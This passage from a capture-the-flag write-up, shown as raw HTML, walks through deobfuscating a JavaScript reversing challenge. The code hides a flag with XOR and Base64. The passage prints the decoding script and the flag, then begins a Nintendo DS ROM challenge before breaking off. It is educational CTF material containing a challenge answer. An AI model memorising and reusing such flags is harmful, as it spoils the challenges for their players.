class=\"token punctuation\">}</span><span class=\"token keyword\">function</span> <span class=\"token function\">getSolution</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">{</span><span class=\"token keyword\">var</span> _0x4574b1<span class=\"token operator\">=</span>_0x4b0817<span class=\"token punctuation\">,</span>_0x130e77<span class=\"token operator\">=</span><span class=\"token punctuation\">{</span><span class=\"token string-property property\">'mbDZk'</span><span class=\"token operator\">:</span><span class=\"token keyword\">function</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">_0xde9ecc<span class=\"token punctuation\">,</span>_0x43f111</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">{</span><span class=\"token keyword\">return</span> <span class=\"token function\">_0xde9ecc</span><span class=\"token punctuation\">(</span>_0x43f111<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">,</span>_0x153882<span class=\"token operator\">=</span>_0x7f9546<span class=\"token punctuation\">;</span><span class=\"token keyword\">return</span> _0x130e77<span class=\"token punctuation\">[</span><span class=\"token function\">_0x4574b1</span><span class=\"token punctuation\">(</span><span class=\"token number\">0x1c0</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">(</span>_0x153882<span class=\"token punctuation\">,</span><span class=\"token operator\">-</span><span class=\"token number\">0x92</span><span class=\"token operator\">*</span><span class=\"token number\">0x28</span><span class=\"token operator\">+</span><span class=\"token operator\">-</span><span class=\"token number\">0x14</span><span class=\"token operator\">*</span><span class=\"token operator\">-</span><span class=\"token number\">0x65</span><span class=\"token operator\">+</span><span class=\"token number\">0xffd</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span><span class=\"token punctuation\">}</span><span class=\"token keyword\">function</span> <span class=\"token function\">_0x3cdb</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">_0x381052<span class=\"token punctuation\">,</span>_0x232c3a</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">{</span><span class=\"token keyword\">var</span> _0x5b708f<span class=\"token operator\">=</span><span class=\"token function\">_0x1393</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span><span class=\"token keyword\">return</span> <span class=\"token function-variable function\">_0x3cdb</span><span class=\"token operator\">=</span><span class=\"token keyword\">function</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">_0x21facc<span class=\"token punctuation\">,</span>_0x5b9257</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">{</span>_0x21facc<span class=\"token operator\">=</span>_0x21facc<span class=\"token operator\">-</span><span class=\"token punctuation\">(</span><span class=\"token operator\">-</span><span class=\"token number\">0x661</span><span class=\"token operator\">+</span><span class=\"token operator\">-</span><span class=\"token number\">0x1</span><span class=\"token operator\">*</span><span class=\"token operator\">-</span><span class=\"token number\">0xa21</span><span class=\"token operator\">+</span><span class=\"token operator\">-</span><span class=\"token number\">0xc1</span><span class=\"token operator\">*</span><span class=\"token number\">0x3</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span><span class=\"token keyword\">var</span> _0x56da0f<span class=\"token operator\">=</span>_0x5b708f<span class=\"token punctuation\">[</span>_0x21facc<span class=\"token punctuation\">]</span><span class=\"token punctuation\">;</span><span class=\"token keyword\">return</span> _0x56da0f<span class=\"token punctuation\">;</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">,</span><span class=\"token function\">_0x3cdb</span><span class=\"token punctuation\">(</span>_0x381052<span class=\"token punctuation\">,</span>_0x232c3a<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span><span class=\"token punctuation\">}</span><span class=\"token keyword\">function</span> <span class=\"token function\">_0x2a8b</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">{</span><span class=\"token keyword\">var</span> _0x352dcd<span class=\"token operator\">=</span>_0x4b0817<span class=\"token punctuation\">,</span>_0x44c662<span class=\"token operator\">=</span><span class=\"token punctuation\">{</span><span class=\"token string-property property\">'PvOKR'</span><span class=\"token operator\">:</span><span class=\"token keyword\">function</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">_0x257e73</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">{</span><span class=\"token keyword\">return</span> <span class=\"token function\">_0x257e73</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">,</span>_0x2d270d<span class=\"token operator\">=</span><span class=\"token punctuation\">[</span>_0x5114<span class=\"token punctuation\">[</span><span class=\"token operator\">-</span><span class=\"token number\">0x1</span><span class=\"token operator\">*</span><span class=\"token number\">0x579</span><span class=\"token operator\">+</span><span class=\"token operator\">-</span><span class=\"token number\">0x1eff</span><span class=\"token operator\">+</span><span class=\"token number\">0x247d</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">,</span>_0x5114<span class=\"token punctuation\">[</span><span class=\"token number\">0x2</span><span class=\"token operator\">*</span><span class=\"token operator\">-</span><span class=\"token number\">0x11f1</span><span class=\"token operator\">+</span><span class=\"token operator\">-</span><span class=\"token number\">0x1</span><span class=\"token operator\">*</span><span class=\"token operator\">-</span><span class=\"token number\">0x1289</span><span class=\"token operator\">+</span><span class=\"token operator\">-</span><span class=\"token number\">0x115f</span><span class=\"token operator\">*</span><span class=\"token operator\">-</span><span class=\"token number\">0x1</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">,</span>_0x5114<span class=\"token punctuation\">[</span><span class=\"token operator\">-</span><span class=\"token number\">0x190</span><span class=\"token operator\">+</span><span class=\"token operator\">-</span><span class=\"token number\">0x1</span><span class=\"token operator\">*</span><span class=\"token operator\">-</span><span class=\"token number\">0x149</span><span class=\"token operator\">+</span><span class=\"token number\">0x27</span><span class=\"token operator\">*</span><span class=\"token number\">0x2</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">,</span>_0x5114<span class=\"token punctuation\">[</span><span class=\"token number\">0x9</span><span class=\"token operator\">*</span><span class=\"token number\">0x39e</span><span class=\"token operator\">+</span><span class=\"token operator\">-</span><span class=\"token number\">0x1a93</span><span class=\"token operator\">+</span><span class=\"token operator\">-</span><span class=\"token number\">0x1</span><span class=\"token operator\">*</span><span class=\"token number\">0x5f3</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">,</span>_0x5114<span class=\"token punctuation\">[</span><span class=\"token number\">0x1be3</span><span class=\"token operator\">+</span><span class=\"token number\">0x164b</span><span class=\"token operator\">+</span><span class=\"token operator\">-</span><span class=\"token number\">0x3225</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">,</span>_0x5114<span class=\"token punctuation\">[</span><span class=\"token number\">0x25c</span><span class=\"token operator\">+</span><span class=\"token operator\">-</span><span class=\"token number\">0x1</span><span class=\"token operator\">*</span><span class=\"token number\">0xa0b</span><span class=\"token operator\">+</span><span class=\"token number\">0x1</span><span class=\"token operator\">*</span><span class=\"token number\">0x7b9</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">,</span>_0x5114<span class=\"token punctuation\">[</span><span class=\"token number\">0x14bf</span><span class=\"token operator\">*</span><span class=\"token number\">0x1</span><span class=\"token operator\">+</span><span class=\"token number\">0xa1</span><span class=\"token operator\">*</span><span class=\"token operator\">-</span><span class=\"token number\">0x1</span><span class=\"token operator\">+</span><span class=\"token number\">0x3</span><span class=\"token operator\">*</span><span class=\"token operator\">-</span><span class=\"token number\">0x6b1</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">,</span>_0x5114<span class=\"token punctuation\">[</span><span class=\"token operator\">-</span><span class=\"token number\">0x1</span><span class=\"token operator\">*</span><span class=\"token operator\">-</span><span class=\"token number\">0x1915</span><span class=\"token operator\">+</span><span class=\"token operator\">-</span><span class=\"token number\">0x1</span><span class=\"token operator\">*</span><span class=\"token operator\">-</span><span class=\"token number\">0x2381</span><span class=\"token operator\">+</span><span class=\"token number\">0x11f</span><span class=\"token operator\">*</span><span class=\"token operator\">-</span><span class=\"token number\">0x36</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">,</span>_0x5114<span class=\"token punctuation\">[</span><span class=\"token number\">0x173f</span><span class=\"token operator\">+</span><span class=\"token number\">0x7a8</span><span class=\"token operator\">+</span><span class=\"token operator\">-</span><span class=\"token number\">0x16</span><span class=\"token operator\">*</span><span class=\"token number\">0x167</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">,</span>_0x5114<span class=\"token punctuation\">[</span><span class=\"token operator\">-</span><span class=\"token number\">0xacb</span><span class=\"token operator\">+</span><span class=\"token operator\">-</span><span class=\"token number\">0x3d9</span><span class=\"token operator\">+</span><span class=\"token number\">0xeb2</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">,</span>_0x5114<span class=\"token punctuation\">[</span><span class=\"token number\">0x1</span><span class=\"token operator\">*</span><span class=\"token number\">0xb25</span><span class=\"token operator\">+</span><span class=\"token operator\">-</span><span class=\"token number\">0xc52</span><span class=\"token operator\">+</span><span class=\"token operator\">-</span><span class=\"token number\">0x1</span><span class=\"token operator\">*</span><span class=\"token operator\">-</span><span class=\"token number\">0x13c</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">,</span>_0x5114<span class=\"token punctuation\">[</span><span class=\"token operator\">-</span><span class=\"token number\">0x16a0</span><span class=\"token operator\">+</span><span class=\"token operator\">-</span><span class=\"token number\">0x35</span><span class=\"token operator\">*</span><span class=\"token operator\">-</span><span class=\"token number\">0xa1</span><span class=\"token operator\">+</span><span class=\"token operator\">-</span><span class=\"token number\">0xaa5</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">,</span>_0x5114<span class=\"token punctuation\">[</span><span class=\"token number\">0x266e</span><span class=\"token operator\">+</span><span class=\"token number\">0x29</span><span class=\"token operator\">*</span><span class=\"token operator\">-</span><span class=\"token number\">0x39</span><span class=\"token operator\">+</span><span class=\"token number\">0x1d3c</span><span class=\"token operator\">*</span><span class=\"token operator\">-</span><span class=\"token number\">0x1</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">,</span>_0x5114<span class=\"token punctuation\">[</span><span class=\"token number\">0x5</span><span class=\"token operator\">*</span><span class=\"token operator\">-</span><span class=\"token number\">0x48a</span><span class=\"token operator\">+</span><span class=\"token number\">0x23ed</span><span class=\"token operator\">+</span><span class=\"token operator\">-</span><span class=\"token number\">0x3</span><span class=\"token operator\">*</span><span class=\"token number\">0x463</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">,</span>_0x5114<span class=\"token punctuation\">[</span><span class=\"token number\">0x17</span><span class=\"token operator\">*</span><span class=\"token number\">0xff</span><span class=\"token operator\">+</span><span class=\"token operator\">-</span><span class=\"token number\">0xa</span><span class=\"token operator\">*</span><span class=\"token number\">0x71</span><span class=\"token operator\">+</span><span class=\"token operator\">-</span><span class=\"token number\">0x4</span><span class=\"token operator\">*</span><span class=\"token number\">0x49b</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">,</span>_0x5114<span class=\"token punctuation\">[</span><span class=\"token operator\">-</span><span class=\"token number\">0x1</span><span class=\"token operator\">*</span><span class=\"token number\">0x421</span><span class=\"token operator\">+</span><span class=\"token operator\">-</span><span class=\"token number\">0x1e3a</span><span class=\"token operator\">+</span><span class=\"token operator\">-</span><span class=\"token number\">0xcd</span><span class=\"token operator\">*</span><span class=\"token operator\">-</span><span class=\"token number\">0x2b</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">,</span>_0x5114<span class=\"token punctuation\">[</span><span class=\"token number\">0x1e45</span><span class=\"token operator\">+</span><span class=\"token number\">0x279</span><span class=\"token operator\">*</span><span class=\"token number\">0x1</span><span class=\"token operator\">+</span><span class=\"token operator\">-</span><span class=\"token number\">0x20a9</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">;</span><span class=\"token keyword\">return</span> <span class=\"token function-variable function\">_0x2a8b</span><span class=\"token operator\">=</span><span class=\"token keyword\">function</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">{</span><span class=\"token keyword\">return</span> _0x2d270d<span class=\"token punctuation\">;</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">,</span>_0x44c662<span class=\"token punctuation\">[</span><span class=\"token function\">_0x352dcd</span><span class=\"token punctuation\">(</span><span class=\"token number\">0x1af</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">(</span>_0x2a8b<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span><span class=\"token punctuation\">}</span>console<span class=\"token punctuation\">[</span>_0x5114<span class=\"token punctuation\">[</span><span class=\"token number\">0x5</span><span class=\"token operator\">*</span><span class=\"token operator\">-</span><span class=\"token number\">0x531</span><span class=\"token operator\">+</span><span class=\"token operator\">-</span><span class=\"token number\">0x1897</span><span class=\"token operator\">*</span><span class=\"token number\">0x1</span><span class=\"token operator\">+</span><span class=\"token number\">0x32a2</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">(</span>flag<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span></code></pre></div>\n<p>After formatting it and looking through it, I found that the excerpt below seemed to be involved in generating the flag.</p>\n<div class=\"gatsby-highlight\" data-language=\"javascript\"><pre class=\"language-javascript\"><code class=\"language-javascript\"><span class=\"token keyword\">var</span> flag <span class=\"token operator\">=</span> <span class=\"token function\">_0x7f9546</span><span class=\"token punctuation\">(</span><span class=\"token number\">0x132d</span> <span class=\"token operator\">*</span> <span class=\"token operator\">-</span><span class=\"token number\">0x1</span> <span class=\"token operator\">+</span> <span class=\"token number\">0xc6f</span> <span class=\"token operator\">*</span> <span class=\"token number\">0x2</span> <span class=\"token operator\">+</span> <span class=\"token number\">0x3</span> <span class=\"token operator\">*</span> <span class=\"token operator\">-</span><span class=\"token number\">0x18d</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n\n<span class=\"token keyword\">function</span> <span class=\"token function\">encryptFlag</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">_0xbf47e0</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token keyword\">var</span> _0x544acc <span class=\"token operator\">=</span> _0x4b0817<span class=\"token punctuation\">,</span>\n        _0x3b452a <span class=\"token operator\">=</span> <span class=\"token punctuation\">{</span>\n            <span class=\"token function-variable function\">FkhwG</span><span class=\"token operator\">:</span> <span class=\"token keyword\">function</span> <span class=\"token punctuation\">(</span><span class=\"token parameter\">_0x51232f<span class=\"token punctuation\">,</span> _0x5aa8bc</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n                <span class=\"token keyword\">return</span> _0x51232f <span class=\"token operator\">&lt;</span> _0x5aa8bc<span class=\"token punctuation\">;</span>\n            <span class=\"token punctuation\">}</span><span class=\"token punctuation\">,</span>\n            <span class=\"token function-variable function\">FmpvA</span><span class=\"token operator\">:</span> <span class=\"token keyword\">function</span> <span class=\"token punctuation\">(</span><span class=\"token parameter\">_0x6f16c8<span class=\"token punctuation\">,</span> _0x471210</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n                <span class=\"token keyword\">return</span> _0x6f16c8 <span class=\"token operator\">^</span> _0x471210<span class=\"token punctuation\">;</span>\n            <span class=\"token punctuation\">}</span><span class=\"token punctuation\">,</span>\n            <span class=\"token function-variable function\">eylpU</span><span class=\"token operator\">:</span> <span class=\"token keyword\">function</span> <span class=\"token punctuation\">(</span><span class=\"token parameter\">_0xf9e80b<span class=\"token punctuation\">,</span> _0x2d8527</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n                <span class=\"token keyword\">return</span> <span class=\"token function\">_0xf9e80b</span><span class=\"token punctuation\">(</span>_0x2d8527<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n            <span class=\"token punctuation\">}</span><span class=\"token punctuation\">,</span>\n            <span class=\"token function-variable function\">jSHtH</span><span class=\"token operator\">:</span> <span class=\"token keyword\">function</span> <span class=\"token punctuation\">(</span><span class=\"token parameter\">_0x48ef2f<span class=\"token punctuation\">,</span> _0x58bfa4</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n                <span class=\"token keyword\">return</span> <span class=\"token function\">_0x48ef2f</span><span class=\"token punctuation\">(</span>_0x58bfa4<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n            <span class=\"token punctuation\">}</span><span class=\"token punctuation\">,</span>\n        <span class=\"token punctuation\">}</span><span class=\"token punctuation\">,</span>\n        _0x3eca0a <span class=\"token operator\">=</span> _0x7f9546<span class=\"token punctuation\">,</span>\n        _0x381330 <span class=\"token operator\">=</span> _0x5114<span class=\"token punctuation\">[</span><span class=\"token operator\">-</span><span class=\"token number\">0xe72</span> <span class=\"token operator\">+</span> <span class=\"token number\">0x467</span> <span class=\"token operator\">+</span> <span class=\"token number\">0xa0d</span> <span class=\"token operator\">*</span> <span class=\"token number\">0x1</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">;</span>\n    <span class=\"token keyword\">for</span> <span class=\"token punctuation\">(</span>\n        <span class=\"token keyword\">var</span> _0x191b0f <span class=\"token operator\">=</span> <span class=\"token number\">0x12</span> <span class=\"token operator\">*</span> <span class=\"token operator\">-</span><span class=\"token number\">0x12e</span> <span class=\"token operator\">+</span> <span class=\"token operator\">-</span><span class=\"token number\">0x1c6e</span> <span class=\"token operator\">+</span> <span class=\"token number\">0x31aa</span><span class=\"token punctuation\">;</span>\n        _0x3b452a<span class=\"token punctuation\">[</span><span class=\"token function\">_0x544acc</span><span class=\"token punctuation\">(</span><span class=\"token number\">0x1cc</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">(</span>\n            _0x191b0f<span class=\"token punctuation\">,</span>\n            _0xbf47e0<span class=\"token punctuation\">[</span>_0x5114<span class=\"token punctuation\">[</span><span class=\"token operator\">-</span><span class=\"token number\">0x9ec</span> <span class=\"token operator\">+</span> <span class=\"token operator\">-</span><span class=\"token number\">0x181f</span> <span class=\"token operator\">+</span> <span class=\"token number\">0x5ad</span> <span class=\"token operator\">*</span> <span class=\"token number\">0x6</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">,</span>\n        <span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n        _0x191b0f<span class=\"token operator\">++</span>\n    <span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n        <span class=\"token keyword\">var</span> _0x2bc446 <span class=\"token operator\">=</span>\n            _0xbf47e0<span class=\"token punctuation\">[</span>_0x5114<span class=\"token punctuation\">[</span><span class=\"token number\">0x5</span> <span class=\"token operator\">*</span> <span class=\"token operator\">-</span><span class=\"token number\">0x5fd</span> <span class=\"token operator\">+</span> <span class=\"token operator\">-</span><span class=\"token number\">0x1</span> <span class=\"token operator\">*</span> <span class=\"token number\">0x135d</span> <span class=\"token operator\">+</span> <span class=\"token operator\">-</span><span class=\"token number\">0xd6</span> <span class=\"token operator\">*</span> <span class=\"token operator\">-</span><span class=\"token number\">0x3b</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">(</span>\n                _0x191b0f<span class=\"token punctuation\">,</span>\n            <span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span>\n            _0x5e8a75 <span class=\"token operator\">=</span> _0x3b452a<span class=\"token punctuation\">[</span><span class=\"token function\">_0x544acc</span><span class=\"token punctuation\">(</span><span class=\"token number\">0x19a</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">(</span>_0x2bc446<span class=\"token punctuation\">,</span> _0x191b0f<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n        _0x381330 <span class=\"token operator\">+=</span>\n            String<span class=\"token punctuation\">[</span>\n                _0x3b452a<span class=\"token punctuation\">[</span><span class=\"token function\">_0x544acc</span><span class=\"token punctuation\">(</span><span class=\"token number\">0x1d4</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">(</span>\n                    _0x3eca0a<span class=\"token punctuation\">,</span>\n                    <span class=\"token operator\">-</span><span class=\"token number\">0x25b</span> <span class=\"token operator\">*</span> <span class=\"token operator\">-</span><span class=\"token number\">0xc</span> <span class=\"token operator\">+</span> <span class=\"token operator\">-</span><span class=\"token number\">0x10f1</span> <span class=\"token operator\">+</span> <span class=\"token number\">0x36c</span> <span class=\"token operator\">*</span> <span class=\"token operator\">-</span><span class=\"token number\">0x3</span><span class=\"token punctuation\">,</span>\n                <span class=\"token punctuation\">)</span>\n            <span class=\"token punctuation\">]</span><span class=\"token punctuation\">(</span>_0x5e8a75<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span>\n    <span class=\"token keyword\">return</span> _0x3b452a<span class=\"token punctuation\">[</span><span class=\"token function\">_0x544acc</span><span class=\"token punctuation\">(</span><span class=\"token number\">0x1bc</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">(</span>btoa<span class=\"token punctuation\">,</span> _0x381330<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n<span class=\"token punctuation\">}</span></code></pre></div>\n<p>So I deobfuscated the script above.</p>\n<p>After deobfuscating it roughly, I got something like the following.</p>\n<div class=\"gatsby-highlight\" data-language=\"javascript\"><pre class=\"language-javascript\"><code class=\"language-javascript\"><span class=\"token keyword\">var</span> _0x544acc <span class=\"token operator\">=</span> _0x4b0817<span class=\"token punctuation\">,</span>\nf_dict <span class=\"token operator\">=</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token function-variable function\">to_length</span><span class=\"token operator\">:</span> <span class=\"token keyword\">function</span> <span class=\"token punctuation\">(</span><span class=\"token parameter\">_0x51232f<span class=\"token punctuation\">,</span> _0x5aa8bc</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n        <span class=\"token keyword\">return</span> _0x51232f <span class=\"token operator\">&lt;</span> _0x5aa8bc<span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span><span class=\"token punctuation\">,</span>\n    <span class=\"token function-variable function\">xor</span><span class=\"token operator\">:</span> <span class=\"token keyword\">function</span> <span class=\"token punctuation\">(</span><span class=\"token parameter\">_0x6f16c8<span class=\"token punctuation\">,</span> _0x471210</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n        <span class=\"token keyword\">return</span> _0x6f16c8 <span class=\"token operator\">^</span> _0x471210<span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span><span class=\"token punctuation\">,</span>\n    <span class=\"token function-variable function\">eylpU</span><span class=\"token operator\">:</span> <span class=\"token keyword\">function</span> <span class=\"token punctuation\">(</span><span class=\"token parameter\">_0xf9e80b<span class=\"token punctuation\">,</span> _0x2d8527</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n        <span class=\"token keyword\">return</span> <span class=\"token function\">_0xf9e80b</span><span class=\"token punctuation\">(</span>_0x2d8527<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span><span class=\"token punctuation\">,</span>\n    <span class=\"token function-variable function\">jSHtH</span><span class=\"token operator\">:</span> <span class=\"token keyword\">function</span> <span class=\"token punctuation\">(</span><span class=\"token parameter\">_0x48ef2f<span class=\"token punctuation\">,</span> _0x58bfa4</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n        <span class=\"token keyword\">return</span> <span class=\"token function\">_0x48ef2f</span><span class=\"token punctuation\">(</span>_0x58bfa4<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    <span class=\"token punctuation\">}</span><span class=\"token punctuation\">,</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">,</span>\n_0x3eca0a <span class=\"token operator\">=</span> _0x7f9546<span class=\"token punctuation\">,</span>\n_0x381330 <span class=\"token operator\">=</span> <span class=\"token string\">''</span><span class=\"token punctuation\">;</span>\n\n<span class=\"token keyword\">for</span> <span class=\"token punctuation\">(</span><span class=\"token keyword\">var</span> i <span class=\"token operator\">=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">;</span>f_dict<span class=\"token punctuation\">[</span><span class=\"token string\">\"to_length\"</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">(</span>i<span class=\"token punctuation\">,</span>v_input<span class=\"token punctuation\">.</span>length<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>i<span class=\"token operator\">++</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token keyword\">var</span> word <span class=\"token operator\">=</span> v_input<span class=\"token punctuation\">.</span><span class=\"token function\">charCodeAt</span><span class=\"token punctuation\">(</span>i<span class=\"token punctuation\">,</span><span class=\"token punctuation\">)</span>\n    _0x5e8a75 <span class=\"token operator\">=</span> f_dict<span class=\"token punctuation\">[</span><span class=\"token string\">\"xor\"</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">(</span>word<span class=\"token punctuation\">,</span> i<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n    _0x381330 <span class=\"token operator\">+=</span> String<span class=\"token punctuation\">.</span><span class=\"token function\">fromCharCode</span><span class=\"token punctuation\">(</span>_0x5e8a75<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span>\n<span class=\"token punctuation\">}</span></code></pre></div>\n<p>Apparently, it takes the flag string obtained somehow, XORs each character with its index in order from the first character, and then Base64-encodes the result.</p>\n<p>So I wrote the following decryption script as-is and was able to obtain the flag.</p>\n<div class=\"gatsby-highlight\" data-language=\"javascript\"><pre class=\"language-javascript\"><code class=\"language-javascript\"><span class=\"token keyword\">var</span> flag <span class=\"token operator\">=</span> <span class=\"token string\">\"\"</span>\n<span class=\"token keyword\">var</span> d <span class=\"token operator\">=</span> <span class=\"token function\">atob</span><span class=\"token punctuation\">(</span><span class=\"token string\">'Zm1jZH92N2tkcFVhbXs6fHNjI2NgaA=='</span><span class=\"token punctuation\">)</span>\n<span class=\"token keyword\">for</span> <span class=\"token punctuation\">(</span><span class=\"token keyword\">var</span> i <span class=\"token operator\">=</span> <span class=\"token number\">0</span><span class=\"token punctuation\">;</span> i <span class=\"token operator\">&lt;</span> d<span class=\"token punctuation\">.</span>length<span class=\"token punctuation\">;</span> i<span class=\"token operator\">++</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">{</span>\n    c <span class=\"token operator\">=</span> d<span class=\"token punctuation\">.</span><span class=\"token function\">charCodeAt</span><span class=\"token punctuation\">(</span>i<span class=\"token punctuation\">,</span><span class=\"token punctuation\">)</span>\n    flag <span class=\"token operator\">+=</span> String<span class=\"token punctuation\">.</span><span class=\"token function\">fromCharCode</span><span class=\"token punctuation\">(</span>c <span class=\"token operator\">^</span> i<span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span>\n\n<span class=\"token comment\">// flag{s1lly_jav4scr1pt}</span></code></pre></div>\n<!-- \n## Braggart(Rev)\n\n> This guy keeps bragging about keeping us out of his secrets.\n>\n> It's annoying.\n>\n> Get the flag please.\n>\n> https://nessus-braggart.chals.io\n\n\n -->\n<h2 id=\"brick-breakerrev\" style=\"position:relative;\"><a href=\"#brick-breakerrev\" aria-label=\"brick breakerrev permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Brick Breaker(Rev)</h2>\n<blockquote>\n<p>Stole some resources from public domain and made a brick breaker clone. Collision detection is bad and it’s pretty hard, but see if you can find the hidden message!</p>\n</blockquote>\n<p>The challenge binary was <code class=\"language-text\">ctf.nds</code>, and I found that it was a <code class=\"language-text\">Nintendo DS Slot-2 ROM image (PassMe)</code> binary.</p>\n<p>Judging from the name, it appears to be an image that can be used by inserting it into the Game Boy Advance slot on a Nintendo DS. (It was my first time seeing one.)</p>\n<p>After looking into it in a bit more detail, I learned that the ROM is actually defined as a byte array, and that it encodes sound, in-game data (such as item information), and executable backend programs.</p>\n<p>For the time being, it looked like I would need an emulator to run it, so I investigated and found that the following emulator for Windows seemed usable.</p>\n<p>Reference: <a href=\"https://www.nogba.com/no$gba-download.htm\" target=\"_blank\" rel=\"nofollow noopener noreferrer\">No<span class=\"katex\"><span class=\"katex-mathml\"><math xmlns=\"http://www.w3.org/1998/Math/MathML\"><semantics><mrow><mi>G</mi><mi>B</mi><mi>A</mi><mi>D</mi><mi>o</mi><mi>w</mi><mi>n</mi><mi>l</mi><mi>o</mi><mi>a</mi><mi>d</mi><mi>L</mi><mi>a</mi><mi>t</mi><mi>e</mi><mi>s</mi><mi>t</mi><mi>V</mi><mi>e</mi><mi>r</mi><mi>s</mi><mi>i</mi><mi>o</mi><mi>n</mi><mo>:</mo><mi>N</mi><mi>o</mi></mrow><annotation encoding=\"application/x-tex\">GBA Download Latest Version : 